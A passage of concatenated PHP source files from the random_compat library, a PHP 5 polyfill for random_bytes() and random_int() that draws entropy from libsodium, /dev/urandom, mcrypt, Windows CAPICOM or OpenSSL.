MB_OVERLOAD_STRING
    ) {
        /**
         * substr() implementation that isn't brittle to
mbstring.func_overload
         *
         * This version uses mb_substr() in '8bit' mode to treat
strings as raw
         * binary rather than UTF-8, ISO-8859-1, etc
         *
         * @param string $binary_string
         * @param int $start
         * @param int $length (optional)
         *
         * @throws TypeError
         *
         * @return string
         */
        function RandomCompat_substr($binary_string, $start, $length =
null)
        {
            if (!is_string($binary_string)) {
                throw new TypeError(
                    'RandomCompat_substr(): First argument should be a
string'
                );
            }

            if (!is_int($start)) {
                throw new TypeError(
                    'RandomCompat_substr(): Second argument should be
an integer'
                );
            }

            if ($length === null) {
                /**
                 * mb_substr($str, 0, NULL, '8bit') returns an
empty string on
                 * PHP 5.3, so we have to find the length ourselves.
                 */
                $length = RandomCompat_strlen($binary_string) - $start;
            } elseif (!is_int($length)) {
                throw new TypeError(
                    'RandomCompat_substr(): Third argument should be
an integer, or omitted'
                );
            }

            // Consistency with PHP's behavior
            if ($start === RandomCompat_strlen($binary_string) &&
$length === 0) {
                return '';
            }
            if ($start > RandomCompat_strlen($binary_string)) {
                return '';
            }

            return (string) mb_substr($binary_string, $start, $length,
'8bit');
        }

    } else {

        /**
         * substr() implementation that isn't brittle to
mbstring.func_overload
         *
         * This version just uses the default substr()
         *
         * @param string $binary_string
         * @param int $start
         * @param int $length (optional)
         *
         * @throws TypeError
         *
         * @return string
         */
        function RandomCompat_substr($binary_string, $start, $length =
null)
        {
            if (!is_string($binary_string)) {
                throw new TypeError(
                    'RandomCompat_substr(): First argument should be a
string'
                );
            }

            if (!is_int($start)) {
                throw new TypeError(
                    'RandomCompat_substr(): Second argument should be
an integer'
                );
            }

            if ($length !== null) {
                if (!is_int($length)) {
                    throw new TypeError(
                        'RandomCompat_substr(): Third argument should
be an integer, or omitted'
                    );
                }

                return (string) substr($binary_string, $start, $length);
            }

            return (string) substr($binary_string, $start);
        }
    }
}
<?php
/**
 * Random_* Compatibility Library
 * for using the new PHP 7 random_* API in PHP 5 projects
 *
 * The MIT License (MIT)
 *
 * Copyright (c) 2015 - 2016 Paragon Initiative Enterprises
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
copy
 * of this software and associated documentation files (the
"Software"), to deal
 * in the Software without restriction, including without limitation the
rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN THE
 * SOFTWARE.
 */

if (!is_callable('RandomCompat_intval')) {

    /**
     * Cast to an integer if we can, safely.
     *
     * If you pass it a float in the range (~PHP_INT_MAX, PHP_INT_MAX)
     * (non-inclusive), it will sanely cast it to an int. If you it's
equal to
     * ~PHP_INT_MAX or PHP_INT_MAX, we let it fail as not an integer.
Floats
     * lose precision, so the <= and => operators might accidentally
let a float
     * through.
     *
     * @param int|float $number    The number we want to convert to an int
     * @param boolean   $fail_open Set to true to not throw an exception
     *
     * @return float|int
     *
     * @throws TypeError
     */
    function RandomCompat_intval($number, $fail_open = false)
    {
        if (is_int($number) || is_float($number)) {
            $number += 0;
        } elseif (is_numeric($number)) {
            $number += 0;
        }

        if (
            is_float($number)
            &&
            $number > ~PHP_INT_MAX
            &&
            $number < PHP_INT_MAX
        ) {
            $number = (int) $number;
        }

        if (is_int($number)) {
            return (int) $number;
        } elseif (!$fail_open) {
            throw new TypeError(
                'Expected an integer.'
            );
        }
        return $number;
    }
}
<?php
/**
 * Random_* Compatibility Library
 * for using the new PHP 7 random_* API in PHP 5 projects
 *
 * The MIT License (MIT)
 *
 * Copyright (c) 2015 - 2016 Paragon Initiative Enterprises
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
copy
 * of this software and associated documentation files (the
"Software"), to deal
 * in the Software without restriction, including without limitation the
rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN THE
 * SOFTWARE.
 */

if (!class_exists('Error', false)) {
    // We can't really avoid making this extend Exception in PHP 5.
    class Error extends Exception
    {

    }
}

if (!class_exists('TypeError', false)) {
    if (is_subclass_of('Error', 'Exception')) {
        class TypeError extends Error
        {

        }
    } else {
        class TypeError extends Exception
        {

        }
    }
}
<?php
/**
 * Random_* Compatibility Library
 * for using the new PHP 7 random_* API in PHP 5 projects
 *
 * @version 1.4.3
 * @released 2018-04-04
 *
 * The MIT License (MIT)
 *
 * Copyright (c) 2015 - 2016 Paragon Initiative Enterprises
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
copy
 * of this software and associated documentation files (the
"Software"), to deal
 * in the Software without restriction, including without limitation the
rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN THE
 * SOFTWARE.
 */

if (!defined('PHP_VERSION_ID')) {
    // This constant was introduced in PHP 5.2.7
    $RandomCompatversion = array_map('intval',
explode('.', PHP_VERSION));
    define(
        'PHP_VERSION_ID',
        $RandomCompatversion[0] * 10000
        + $RandomCompatversion[1] * 100
        + $RandomCompatversion[2]
    );
    $RandomCompatversion = null;
}

/**
 * PHP 7.0.0 and newer have these functions natively.
 */
if (PHP_VERSION_ID >= 70000) {
    return;
}

if (!defined('RANDOM_COMPAT_READ_BUFFER')) {
    define('RANDOM_COMPAT_READ_BUFFER', 8);
}

$RandomCompatDIR = dirname(__FILE__);

require_once $RandomCompatDIR . '/byte_safe_strings.php';
require_once $RandomCompatDIR . '/cast_to_int.php';
require_once $RandomCompatDIR . '/error_polyfill.php';

if (!is_callable('random_bytes')) {
    /**
     * PHP 5.2.0 - 5.6.x way to implement random_bytes()
     *
     * We use conditional statements here to define the function in
accordance
     * to the operating environment. It's a micro-optimization.
     *
     * In order of preference:
     *   1. Use libsodium if available.
     *   2. fread() /dev/urandom if available (never on Windows)
     *   3. mcrypt_create_iv($bytes, MCRYPT_DEV_URANDOM)
     *   4. COM('CAPICOM.Utilities.1')->GetRandom()
     *
     * See RATIONALE.md for our reasoning behind this particular order
     */
    if (extension_loaded('libsodium')) {
        // See random_bytes_libsodium.php
        if (PHP_VERSION_ID >= 50300 &&
is_callable('\\Sodium\\randombytes_buf')) {
            require_once $RandomCompatDIR .
'/random_bytes_libsodium.php';
        } elseif (method_exists('Sodium',
'randombytes_buf')) {
            require_once $RandomCompatDIR .
'/random_bytes_libsodium_legacy.php';
        }
    }

    /**
     * Reading directly from /dev/urandom:
     */
    if (DIRECTORY_SEPARATOR === '/') {
        // DIRECTORY_SEPARATOR === '/' on Unix-like OSes -- this
is a fast
        // way to exclude Windows.
        $RandomCompatUrandom = true;
        $RandomCompat_basedir = ini_get('open_basedir');

        if (!empty($RandomCompat_basedir)) {
            $RandomCompat_open_basedir = explode(
                PATH_SEPARATOR,
                strtolower($RandomCompat_basedir)
            );
            $RandomCompatUrandom = (array() !== array_intersect(
                    array('/dev', '/dev/',
'/dev/urandom'),
                    $RandomCompat_open_basedir
                ));
            $RandomCompat_open_basedir = null;
        }

        if (
            !is_callable('random_bytes')
            &&
            $RandomCompatUrandom
            &&
            @is_readable('/dev/urandom')
        ) {
            // Error suppression on is_readable() in case of an
open_basedir
            // or safe_mode failure. All we care about is whether or not we
            // can read it at this point. If the PHP environment is going
to
            // panic over trying to see if the file can be read in the
first
            // place, that is not helpful to us here.

            // See random_bytes_dev_urandom.php
            require_once $RandomCompatDIR .
'/random_bytes_dev_urandom.php';
        }
        // Unset variables after use
        $RandomCompat_basedir = null;
    } else {
        $RandomCompatUrandom = false;
    }

    /**
     * mcrypt_create_iv()
     *
     * We only want to use mcypt_create_iv() if:
     *
     * - random_bytes() hasn't already been defined
     * - the mcrypt extensions is loaded
     * - One of these two conditions is true:
     *   - We're on Windows (DIRECTORY_SEPARATOR !== '/')
     *   - We're not on Windows and /dev/urandom is readabale
     *     (i.e. we're not in a chroot jail)
     * - Special case:
     *   - If we're not on Windows, but the PHP version is between
     *     5.6.10 and 5.6.12, we don't want to use mcrypt. It will
     *     hang indefinitely. This is bad.
     *   - If we're on Windows, we want to use PHP >= 5.3.7 or else
     *     we get insufficient entropy errors.
     */
    if (
        !is_callable('random_bytes')
        &&
        // Windows on PHP < 5.3.7 is broken, but non-Windows is not
known to be.
        (DIRECTORY_SEPARATOR === '/' || PHP_VERSION_ID >=
50307)
        &&
        // Prevent this code from hanging indefinitely on non-Windows;
        // see https://bugs.php.net/bug.php?id=69833
        (
            DIRECTORY_SEPARATOR !== '/' ||
            (PHP_VERSION_ID <= 50609 || PHP_VERSION_ID >= 50613)
        )
        &&
        extension_loaded('mcrypt')
    ) {
        // See random_bytes_mcrypt.php
        require_once $RandomCompatDIR .
'/random_bytes_mcrypt.php';
    }
    $RandomCompatUrandom = null;

    /**
     * This is a Windows-specific fallback, for when the mcrypt extension
     * isn't loaded.
     */
    if (
        !is_callable('random_bytes')
        &&
        extension_loaded('com_dotnet')
        &&
        class_exists('COM')
    ) {
        $RandomCompat_disabled_classes = preg_split(
            '#\s*,\s*#',
            strtolower(ini_get('disable_classes'))
        );

        if (!in_array('com', $RandomCompat_disabled_classes)) {
            try {
                $RandomCompatCOMtest = new
COM('CAPICOM.Utilities.1');
                if (method_exists($RandomCompatCOMtest,
'GetRandom')) {
                    // See random_bytes_com_dotnet.php
                    require_once $RandomCompatDIR .
'/random_bytes_com_dotnet.php';
                }
            } catch (com_exception $e) {
                // Don't try to use it.
            }
        }
        $RandomCompat_disabled_classes = null;
        $RandomCompatCOMtest = null;
    }

    /**
     * openssl_random_pseudo_bytes()
     */
    if (
        (
            // Unix-like with PHP >= 5.3.0 or
            (
                DIRECTORY_SEPARATOR === '/'
                &&
                PHP_VERSION_ID >= 50300
            )
            ||
            // Windows with PHP >= 5.4.1
            PHP_VERSION_ID >= 50401
        )
        &&
        !function_exists('random_bytes')
        &&
        extension_loaded('openssl')
    ) {
        // See random_bytes_openssl.php
        require_once $RandomCompatDIR .
'/random_bytes_openssl.php';
    }

    /**
     * throw new Exception
     */
    if (!is_callable('random_bytes')) {
        /**
         * We don't have any more options, so let's throw an
exception right now
         * and hope the developer won't let it fail silently.
         *
         * @param mixed $length
         * @return void
         * @throws Exception
         */
        function random_bytes($length)
        {
            unset($length); // Suppress "variable not used"
warnings.
            throw new Exception(
                'There is no suitable CSPRNG installed on your
system'
            );
        }
    }
}

if (!is_callable('random_int')) {
    require_once $RandomCompatDIR . '/random_int.php';
}

$RandomCompatDIR = null;
<?php
/**
 * Random_* Compatibility Library
 * for using the new PHP 7 random_* API in PHP 5 projects
 *
 * The MIT License (MIT)
 *
 * Copyright (c) 2015 - 2017 Paragon Initiative Enterprises
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
copy
 * of this software and associated documentation files (the
"Software"), to deal
 * in the Software without restriction, including without limitation the
rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN THE
 * SOFTWARE.
 */

if (!is_callable('random_bytes')) {
    /**
     * Windows with PHP < 5.3.0 will not have the function
     * openssl_random_pseudo_bytes() available, so let's use
     * CAPICOM to work around this deficiency.
     *
     * @param int $bytes
     *
     * @throws Exception
     *
     * @return string
     */
    function random_bytes($bytes)
    {
        try {
            $bytes = RandomCompat_intval($bytes);
        } catch (TypeError $ex) {
            throw new TypeError(
                'random_bytes(): $bytes must be an integer'
            );
        }

        if ($bytes < 1) {
            throw new Error(
                'Length must be greater than 0'
            );
        }

        $buf = '';
        if (!class_exists('COM')) {
            throw new Error(
                'COM does not exist'
            );
        }
        $util = new COM('CAPICOM.Utilities.1');
        $execCount = 0;

        /**
         * Let's not let it loop forever. If we run N times and fail
to
         * get N bytes of random data, then CAPICOM has failed us.
         */
        do {
            $buf .= base64_decode($util->GetRandom($bytes, 0));
            if (RandomCompat_strlen($buf) >= $bytes) {
                /**
                 * Return our random entropy buffer here:
                 */
                return RandomCompat_substr($buf, 0, $bytes);
            }
            ++$execCount;
        } while ($execCount < $bytes);

        /**
         * If we reach here, PHP has failed us.
         */
        throw new Exception(
            'Could not gather sufficient random data'
        );
    }
}
<?php
/**
 * Random_* Compatibility Library 
 * for using the new PHP 7 random_* API in PHP 5 projects
 * 
 * The MIT License (MIT)
 * 
 * Copyright (c) 2015 Paragon Initiative Enterprises
 * 
 * Permission is hereby granted, free of charge, to any person obtaining a
copy
 * of this software and associated documentation files (the
"Software"), to deal
 * in the Software without restriction, including without limitation the
rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 * 
 * The above copyright notice and this permission notice shall be included
in
 * all copies or substantial portions of the Software.
 * 
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN THE
 * SOFTWARE.
 */

if (!defined('RANDOM_COMPAT_READ_BUFFER')) {
    define('RANDOM_COMPAT_READ_BUFFER', 8);
}

if (!is_callable('random_bytes')) {
    /**
     * Unless open_basedir is enabled, use /dev/urandom for
     * random numbers in accordance with best practices
     *
     * Why we use /dev/urandom and not /dev/random
     * @ref
http://sockpuppet.org/blog/2014/02/25/safely-generate-random-numbers
     *
     * @param int $bytes
     *
     * @throws Exception
     *
     * @return string
     */
    function random_bytes($bytes)
    {
        static $fp = null;
        /**
         * This block should only be run once
         */
        if (empty($fp)) {
            /**
             * We use /dev/urandom if it is a char device.
             * We never fall back to /dev/random
             */
            $fp = fopen('/dev/urandom', 'rb');
            if (!empty($fp)) {
                $st = fstat($fp);
                if (($st['mode'] & 0170000) !== 020000) {
                    fclose($fp);
                    $fp = false;
                }
            }

            if (!empty($fp)) {
                /**
                 * stream_set_read_buffer() does not exist in HHVM
                 * 
                 * If we don't set the stream's read buffer to 0,
PHP will
                 * internally buffer 8192 bytes, which can waste entropy
                 * 
                 * stream_set_read_buffer returns 0 on success
                 */
                if (function_exists('stream_set_read_buffer')) {
                    stream_set_read_buffer($fp, RANDOM_COMPAT_READ_BUFFER);
                }
                if (function_exists('stream_set_chunk_size')) {
                    stream_set_chunk_size($fp, RANDOM_COMPAT_READ_BUFFER);
                }
            }
        }

        try {
            $bytes = RandomCompat_intval($bytes);
        } catch (TypeError $ex) {
            throw new TypeError(
                'random_bytes(): $bytes must be an integer'
            );
        }

        if ($bytes < 1) {
            throw new Error(
                'Length must be greater than 0'
            );
        }

        /**
         * This if() block only runs if we managed to open a file handle
         *
         * It does not belong in an else {} block, because the above
         * if (empty($fp)) line is logic that should only be run once per
         * page load.
         */
        if (!empty($fp)) {
            $remaining = $bytes;
            $buf = '';

            /**
             * We use fread() in a loop to protect against partial reads
             */
            do {
                $read = fread($fp, $remaining);
                if ($read === false) {
                    /**
                     * We cannot safely read from the file. Exit the
                     * do-while loop and trigger the exception condition
                     */
                    $buf = false;
                    break;
                }
                /**
                 * Decrease the number of bytes returned from remaining
                 */
                $remaining -= RandomCompat_strlen($read);
                $buf .= $read;
            } while ($remaining > 0);

            /**
             * Is our result valid?
             */
            if ($buf !== false) {
                if (RandomCompat_strlen($buf) === $bytes) {
                    /**
                     * Return our random entropy buffer here:
                     */
                    return $buf;
                }
            }
        }

        /**
         * If we reach here, PHP has failed us.
         */
        throw new Exception(
            'Error reading from source device'
        );
    }
}
<?php
/**
 * Random_* Compatibility Library
 * for using the new PHP 7 random_* API in PHP 5 projects
 *
 * The MIT License (MIT)
 *
 * Copyright (c) 2015 - 2017 Paragon Initiative Enterprises
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
copy
 * of this software and associated documentation files (the
"Software"), to deal
 * in the Software without restriction, including without limitation the
rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN THE
 * SOFTWARE.
 */

if (!is_callable('random_bytes')) {
    /**
     * If the libsodium PHP extension is loaded, we'll use it above
any other
     * solution.
     *
     * libsodium-php project:
     * @ref https://github.com/jedisct1/libsodium-php
     *
     * @param int $bytes
     *
     * @throws Exception
     *
     * @return string
     */
    function random_bytes($bytes)
    {
        try {
            $bytes = RandomCompat_intval($bytes);
        } catch (TypeError $ex) {
            throw new TypeError(
                'random_bytes(): $bytes must be an integer'
            );
        }

        if ($bytes < 1) {
            throw new Error(
                'Length must be greater than 0'
            );
        }

        /**
         * \Sodium\randombytes_buf() doesn't allow more than
2147483647 bytes to be
         * generated in one invocation.
         */
        if ($bytes > 2147483647) {
            $buf = '';
            for ($i = 0; $i < $bytes; $i += 1073741824) {
                $n = ($bytes - $i) > 1073741824
                    ? 1073741824
                    : $bytes - $i;
                $buf .= \Sodium\randombytes_buf($n);
            }
        } else {
            $buf = \Sodium\randombytes_buf($bytes);
        }

        if ($buf !== false) {
            if (RandomCompat_strlen($buf) === $bytes) {
                return $buf;
            }
        }

        /**
         * If we reach here, PHP has failed us.
         */
        throw new Exception(
            'Could not gather sufficient random data'
        );
    }
}
<?php
/**
 * Random_* Compatibility Library
 * for using the new PHP 7 random_* API in PHP 5 projects
 *
 * The MIT License (MIT)
 *
 * Copyright (c) 2015 - 2017 Paragon Initiative Enterprises
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
copy
 * of this software and associated documentation files (the
"Software"), to deal
 * in the Software without restriction, including without limitation the
rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN THE
 * SOFTWARE.
 */

if (!is_callable('random_bytes')) {
    /**
     * If the libsodium PHP extension is loaded, we'll use it above
any other
     * solution.
     *
     * libsodium-php project:
     * @ref https://github.com/jedisct1/libsodium-php
     *
     * @param int $bytes
     *
     * @throws Exception
     *
     * @return string
     */
    function random_bytes($bytes)
    {
        try {
            $bytes = RandomCompat_intval($bytes);
        } catch (TypeError $ex) {
            throw new TypeError(
                'random_bytes(): $bytes must be an integer'
            );
        }

        if ($bytes < 1) {
            throw new Error(
                'Length must be greater than 0'
            );
        }

        /**
         * @var string
         */
        $buf = '';

        /**
         * \Sodium\randombytes_buf() doesn't allow more than
2147483647 bytes to be
         * generated in one invocation.
         */
        if ($bytes > 2147483647) {
            for ($i = 0; $i < $bytes; $i += 1073741824) {
                $n = ($bytes - $i) > 1073741824
                    ? 1073741824
                    : $bytes - $i;
                $buf .= Sodium::randombytes_buf($n);
            }
        } else {
            $buf .= Sodium::randombytes_buf($bytes);
        }

        if (is_string($buf)) {
            if (RandomCompat_strlen($buf) === $bytes) {
                return $buf;
            }
        }

        /**
         * If we reach here, PHP has failed us.
         */
        throw new Exception(
            'Could not gather sufficient random data'
        );
    }
}
<?php
/**
 * Random_* Compatibility Library
 * for using the new PHP 7 random_* API in PHP 5 projects
 *
 * The MIT License (MIT)
 *
 * Copyright (c) 2015 - 2017 Paragon Initiative Enterprises
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
copy
 * of this software and associated documentation files (the
"Software"), to deal
 * in the Software without restriction, including without limitation the
rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN THE
 * SOFTWARE.
 */

if (!is_callable('random_bytes')) {
    /**
     * Powered by ext/mcrypt (and thankfully NOT libmcrypt)
     *
     * @ref https://bugs.php.net/bug.php?id=55169
     * @ref
https://github.com/php/php-src/blob/c568ffe5171d942161fc8dda066bce844bdef676/ext/mcrypt/mcrypt.c#L1321-L1386
     *
     * @param int $bytes
     *
     * @throws Exception
     *
     * @return string
     */
    function random_bytes($bytes)
    {
        try {
            $bytes = RandomCompat_intval($bytes);
        } catch (TypeError $ex) {
            throw new TypeError(
                'random_bytes(): $bytes must be an integer'
            );
        }

        if ($bytes < 1) {
            throw new Error(
                'Length must be greater than 0'
            );
        }

        $buf = @mcrypt_create_iv($bytes, MCRYPT_DEV_URANDOM);
        if (
            $buf !== false
            &&
            RandomCompat_strlen($buf) === $bytes
        ) {
            /**
             * Return our random entropy buffer here:
             */
            return $buf;
        }

        /**
         * If we reach here, PHP has failed us.
         */
        throw new Exception(
            'Could not gather sufficient random data'
        );
    }
}
<?php
/**
 * Random_* Compatibility Library 
 * for using the new PHP 7 random_* API in PHP 5 projects
 * 
 * The MIT License (MIT)
 * 
 * Copyright (c) 2015 Paragon Initiative Enterprises
 * 
 * Permission is hereby granted, free of charge, to any person obtaining a
copy
 * of this software and associated documentation files (the
"Software"), to deal
 * in the Software without restriction, including without limitation the
rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 * 
 * The above copyright notice and this permission notice shall be included
in
 * all copies or substantial portions of the Software.
 * 
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN THE
 * SOFTWARE.
 */

/**
 * Since openssl_random_pseudo_bytes() uses openssl's 
 * RAND_pseudo_bytes() API, which has been marked as deprecated by the
 * OpenSSL team, this is our last resort before failure.
 * 
 * @ref https://www.openssl.org/docs/crypto/RAND_bytes.html
 * 
 * @param int $bytes
 * 
 * @throws Exception
 * 
 * @return string
 */
function random_bytes($bytes)
{
    try {
        $bytes = RandomCompat_intval($bytes);
    } catch (TypeError $ex) {
        throw new TypeError(
            'random_bytes(): $bytes must be an integer'
        );
    }

    if ($bytes < 1) {
        throw new Error(
            'Length must be greater than 0'
        );
    }

    /**
     * $secure is passed by reference. If it's set to false, fail.
Note
     * that this will only return false if this function fails to return
     * any data.
     * 
     * @ref
https://github.com/paragonie/random_compat/issues/6#issuecomment-119564973
     */
    $secure = true;
    /**
     * @var string
     */
    $buf = openssl_random_pseudo_bytes($bytes, $secure);
    if (
        is_string($buf)
        &&
        $secure
        &&
        RandomCompat_strlen($buf) === $bytes
    ) {
        return $buf;
    }

    /**
     * If we reach here, PHP has failed us.
     */
    throw new Exception(
        'Could not gather sufficient random data'
    );
}
<?php

if (!is_callable('random_int')) {
    /**
     * Random_* Compatibility Library
     * for using the new PHP 7 random_* API in PHP 5 projects
     *
     * The MIT License (MIT)
     *
     * Copyright (c) 2015 - 2017 Paragon Initiative Enterprises
     *
     * Permission is hereby granted, free of charge, to any person
obtaining a copy
     * of this software and associated documentation files (the
"Software"), to deal
     * in the Software without restriction, including without limitation
the rights
     * to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
     * copies of the Software, and to permit persons to whom the Software
is
     * furnished to do so, subject to the following conditions:
     *
     * The above copyright notice and this permission notice shall be
included in
     * all copies or substantial portions of the Software.
     *
     * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
     * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY,
     * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT
SHALL THE
     * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER
     * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM,
     * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
DEALINGS IN THE
     * SOFTWARE.
     */

    /**
     * Fetch a random integer between $min and $max inclusive
     *
     * @param int $min
     * @param int $max
     *
     * @throws Exception
     *
     * @return int
     */
    function random_int($min, $max)
    {
        /**
         * Type and input logic checks
         *
         * If you pass it a float in the range (~PHP_INT_MAX, PHP_INT_MAX)
         * (non-inclusive), it will sanely cast it to an int. If you
